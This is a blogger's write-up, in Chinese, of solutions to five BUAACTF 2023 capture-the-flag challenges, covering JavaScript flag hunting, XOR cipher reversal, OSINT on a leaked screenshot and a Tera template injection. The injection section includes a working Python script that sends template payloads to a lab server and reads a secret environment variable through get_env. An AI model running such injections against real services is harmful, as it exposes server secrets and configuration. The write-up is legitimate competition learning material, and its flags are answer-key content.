第一次打 CTF,看到 flag 的時候又想起幾年前第一次寫 Python 時在 Jupyter Notebook 中爬蟲成功執行時的心態,真是久違的熱情
不過其實只算做出來了兩道題,其他的都是簽到題
53 pts
歡迎來到第三屆“藍天杯”網路安全技能大賽!
關注賽博安全協會官方部落格https://or4ngesec.github.io/
第一個flag就在其中^_^
Hacking for fun, good luck for youuuuuuuuuu!
flag格式: BUAACTF{*}
檢視 倉庫 歷史 即可找到 flag,發現 flag 在關於頁面,有 4 處。
Flag#
BUAACTF { W3lc0m3_t0_BUAACTF2023_3NjoY_l - l@ck1ng !}
Mota#
72 pts
歡迎來到前端的世界!play&hack for fun!
author
在 events.js 中用 Ctrl + F 搜尋 段
可以找到分成 3 段的 flag。
case 51 :
useful = " BUAACTF {HT " ;
Message = [ " [Npc=3,仙子]恭喜你找到了第一段芙拉隔,它的值為 " , " [Npc=3,仙子] " + useful ];
Event . ShowMessageList ( Message , function (){
Event . RemoveEvent ( " Npc " , 1 , 9 , 7 );
});
break ;
case 52 :
text = " NV9tb3RhXzFz "
useful = atob ( text );
Message = [ " [Npc=3,仙子]哇!你拿下了第二 段 腐拉蛤,它是 " , " [Npc=3,仙子] " + useful ];
Event . ShowMessageList ( Message , function (){
Event . RemoveEvent ( " Npc " , 0 , 0 , 5 );
});
break ;
控制檯執行可得
case 53 :
text = new Uint8Array ([ 95 , 115 , 48 , 95 , 102 , 117 , 110 , 33 , 125 ]);
useful = String . fromCharCode . apply ( null , text );;
Message = [ " [Npc=3,仙子]奈斯!你找到了最後一 段 富菈哥,它的內容: " , " [Npc=3,仙子] " + useful ];
Event . ShowMessageList ( Message , function (){
Event . RemoveEvent ( " Npc " , 1 , 5 , 3 );
});
break ;
控制檯執行可得
Flag#
BUAACTF { HT5_mota_1s_s0_fun !}
Block Cipher #
75 pts
Recall the experiments done in class!
author
block-cipher-task.py
用結果中的 iv
和 key
的替換掉 encrypt
函式中的隨機數。加密的過程很簡單。首先是將 flag 分割成了 8 字元一段的 parts
列表,然後對每一個 part
執行 reduce ( xor , [ part , iv if index == 0 else results [- 1 ], key ])
——實際上對應的 result 就是 part
、上一個結果或 iv
和 key
的異或 。
import operator
import random
import re
from functools import reduce
# from secret import flag
def pad ( s ):
padding_length = ( 8 - len ( s )) % 8
return s + chr ( padding_length ) * padding_length
def xor ( a , b ):
assert len ( a ) == len ( b )
return bytes ( map ( operator . xor , a , b ))
def encrypt ( s ):
iv = b ' \xba =y \xa3\xc6 ) \xcf\xf7 ' # bytes(random.randint(0, 255) for _ in range(8))
key = b ' }6E \xeb ( \x91\x08\xa0 ' # bytes(random.randint(0, 255) for _ in range(8))
parts = list ( map ( str . encode , map ( pad , re . findall ( r ' . {1,8}' , s ))))
print ( parts )
results = []
for index , part in enumerate ( parts ):
print ( index , part )
results . append ( reduce ( xor , [ part , iv if index == 0 else results [- 1 ], key ]))
return iv , key , results
# xor(part, result[-1], key)
# xor(part, y) = result, y = xor(result, y)
iv , key , parts = encrypt (
" BUAACTF {abcdefgh} "
)
print ( f "iv = { iv } " )
print ( f "key = { key } " )
print ( f "parts = { parts } " )
由異或 的性質, ,據此編碼根據結果倒序還原,便可解出原 parts
。
parts = [ b ' \x85 ^} \t\xad\xec\x81 , ' , b ' \xba\x04 W \xa1\xee " \xea\xc5 ' , b ' \xb7 ZW \x18\x99\x82\xd6 : ' , b ' \x99\x03 } \x9c\xde | \xb1\xc5 ' , b ' \xa1 Tk. \x8b\xee\xba f ' ]
decrypted = ""
for i , value in reversed ( list ( enumerate ( parts ))):
value = xor ( value , key )
prev = parts [ i - 1 ] if i > 0 else iv
value = xor ( value , prev )
print ( value )
decrypted = value . decode () + decrypted
print ( " Flag: " , decrypted )
異或 的這個性質也被用於 RAID5:
三塊磁碟(兩塊資料,一個塊校驗盤)其實就是:
c = a ^ b
a = c ^ b
b = a ^ c
Flag#
BUAACTF { BloCk_cIphER_14_Soooooo_EaSY }
easy-ssti #
非常只因礎的SSTI,但不是flask。
author
https://tera.netlify.app/docs/
嘗試獲取當前上下文—>獲取敏感環境變數,不需要RCE。
在輸入框中直接輸入的符號都會被用百分號 escape,故編碼傳送請求。
查閱文件,發現
There are 3 kinds of delimiters and those cannot be changed:
{{
and }}
for expressions
{%
and %}
for statements
{#
and #}
for comments
但是,請求中的 {{
和 }}
被遮蔽了。
import requests
url = " http://10.212.25.14:49574/ "
def fetch ( data ):
body = " content= " + data
headers = { ' Content-Type ' : ' application/x-www-form-urlencoded ' }
r = requests . post ( url , data = body , headers = headers )
print ( r . text . replace ( " \\ n " , " \n " ). replace ( " \\ " , '' ))
fetch ( " {} " ) # …<div class="result">您的身高為 {} cm</div>…
fetch ( " }} " ) # forbbidden!
fetch ( " {{ " ) # forbbidden!
故只能使用 {%
和 %}
嵌入流程控制語句。hint 中提示獲取當前上下文,可知我們需要 __tera_context
。
A magical variable is available in every template if you want to print the current context: __tera_context
.
隨意構造一個錯誤的語句,從返回的報錯中可以發現使用了 Tera :: one_off
one off template。
fetch ( " {% println!(__tera_context) %} " )
Error while rendering : Error { kind : Msg ( " Failed to parse '__tera_one_off' " ), source : Some ( Error { kind : Msg ( " --> 18:35
|
18 | < div class = " result " > 您的身高為 {% println! ( __tera_context ) %} cm </ div >
| ^ -- -
|
= unexpected tag; expected end of input or some content " ), source: None })
與字串相關的有 filter
,但是並沒有實際可以使用的,也沒有函式可分割字串。查閱文件發現 for 迴圈可以逐字元,不過比較坑的是 Playground 的版本可能舊了,這個功能無法使用。
{% for letter in " hahahaha " %}
{% if loop . index % 2 == 0 %}
< span style = " color:red " >{{ letter }}</ span >
{% else %}
< span style = " color:blue " >{{ letter }}</ span >
{% endif %}
{% endfor %}
因為 println!
沒有匯入,不像 Flask 中有 print
可以用,不能直接輸出變數的值。不過我們可以用一個有 128 個分支的 if 來輸出所有 ASCII 字元。
輸出 __tera_context
後發現有一個環境變數 se3ret
,故我們還要用 set
和 built-in 函式 get_env
將其儲存在一個變數中才能在 context 中看見它。
完整的程式碼如下:
import requests
url = " http://10.212.25.14:49452/ "
def get_branch ( i ):
char = chr ( i )
quoted_char = f """' { char } '""" if char != " ' " else ''' "'" '''
return """ {%- elif char == """ + quoted_char + """ -%} """ + char + " "
branches = map ( get_branch , range ( 127 ))
data = """
{% set arr = [__tera_context] %}
{% set flag = get_env(name="se3ret") %}
{%- for char in __tera_context -%}
{%- if char == 'a' -%}
a """ + " \n " . join ( branches ) + """
{%- else -%}
<NOCHAR>
{%- endif -%}
{% endfor %}
"""
print ( data )
body = " content= " + data
headers = { ' Content-Type ' : ' application/x-www-form-urlencoded ' }
r = requests . post ( url , data = body , headers = headers )
print ( r . text . replace ( " \\ n " , " \n " ). replace ( " \\ " , '' ))
結果:
<! doctype html >
< html >
< head >
< meta charset = " UTF-8 " >
< meta name = " viewport " content = " width=device-width, initial-scale=1 " >
< link rel = " stylesheet " href = " https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css " >
< link rel = " stylesheet " href = " /static/style.css " >
< title > 身高計算器 </ title >
</ head >
< body >
< h1 > 身高計算器 </ h1 >
< h2 > 請輸入你的身高 </ h2 >
< form action = " / " method = " post " >
< p >< input type = " text " name = " content " placeholder = " cm " ></ p >
< p >< input type = " submit " value = " 提交 " ></ p >
</ form >
< div class = " result " > 您的身高為
{"arr":["{
"name":"admin",
"work_dir":"/usr/admin/"
}
}"],"flag":"flag{RUSt_1S_S0_1NTere4T1NG}","worker":{"env_var":"se3ret","id":20379999,"name":"admin","work_dir":"/usr/admin/"}}
cm </ div >
</ body >
</ html >
Flag#
flag { RUSt_1S_S0_1NTere4T1NG }
Screenshot#
262 pts
小橘子在沒事幹的時候特別喜歡在各大社交平臺灌水,某天他在某平臺高強度衝浪的時候遇到了一位自稱是BUAACTF2023出題人的網友。在交談過程中,該網友不小心傳送了一張電腦螢幕截圖,這引起了小橘子的注意。如果能透過這張圖片找到一些有用的資訊,或許就能提前拿到比賽的flag……
小橘子在該社交平臺上的id:@PaulGeo43512452
author:ch3v4l,bangzhu
screenshot.jpg
Ethereum.org 的 Remix 沒有社交功能,並且圖中沒有區塊鏈資訊。唯一符合要求的是第一個標籤頁的 Twitter。
搜尋可見一串對話。用 Stegsolve.jar 對比附件中的圖片和從 twimg 下載的圖片,沒有差異;用 hexed.it 和 binwalk 也沒發現有隱藏資訊。
對話提示檢視另一使用者 NekoMaster0751 的 Github 倉庫,在 bio 找到該使用者的使用者名稱。
查閱其 倉庫 歷史,發現最近有一次新增了一篇文章 2023/04/19/BUAACTF2022題解/index.html
,隨後又 revert 的操作。
手動 revert 後,發現程式碼中並沒有 flag。仔細檢視,發現有多張圖片沒有載入。meta
標籤中有兩張 Open Graph 預覽圖,但不是 flag,正文中的才是。
37e901a1b6cb8efdc24d9357875062c.png - SM.MS - Simple Free Image Hosting
KA3Cm4z7hWDncyk1.png
Flag#
BUAACTF { Scr33nsh0T_0N_s0c1@L_M3di4_C4N_I3ak_y0ur_pr1V4cy !}
問卷調查 #
119 pts
[資料刪除]
完成問卷填寫即可獲得flag。
Flag#
BUAACTF { GoOd_Bye ~ may_1he_f1ag_Be_wi1h_U }
2023 年 4 月 26 日寫於 Notion。
評論